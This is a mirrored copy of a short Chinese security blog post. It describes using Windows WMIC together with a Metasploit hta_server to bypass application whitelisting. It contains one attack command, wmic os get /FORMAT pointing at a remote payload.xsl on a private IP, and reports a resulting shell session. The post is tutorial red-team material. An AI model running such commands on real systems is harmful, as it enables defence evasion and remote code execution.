zoukankan      html  css  js  c++  java
  • 白名单执行payload之Wmic

    简介

    WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。WMIC改变了这种情况。
    
    已添加环境变量,路径如下:
    C:WindowsSysWOW64wbemWMIC.exe
    C:WindowsSystem32wbemWMIC.exe
    

    实际使用

    hta_server

    msf设定如下,利用xsl代码中链接的hta文件,通过mshta进行下载并执行,但此处文件由wmic进行处罚
    

    xsl文件如下,不仅限于写入hta文件执行,此处我们直接执行命令也是可以的!
    

    再利用wmic来执行xsl文件
    wmic os get /FORMAT:"http://192.168.122.1/payload.xsl"
    

    确认上线如下
    

    联系邮箱:yang_s1r@163.com 博客园地址:https://www.cnblogs.com/Yang34/
  • 相关阅读:
    hdu 5112 A Curious Matt (水题)
    hdu 5464 Clarke and problem(dp)
    (2)线程优先级、线程安全
    (1)进程与线程
    并发与并行
    (5) 守护线程与线程阻塞
    java线程中断2
    sleep()和wait()的区别
    java线程中断
    java创建线程的三种方式及其对比
  • 原文地址:https://www.cnblogs.com/Yang34/p/14406855.html
Copyright © 2011-2022 走看看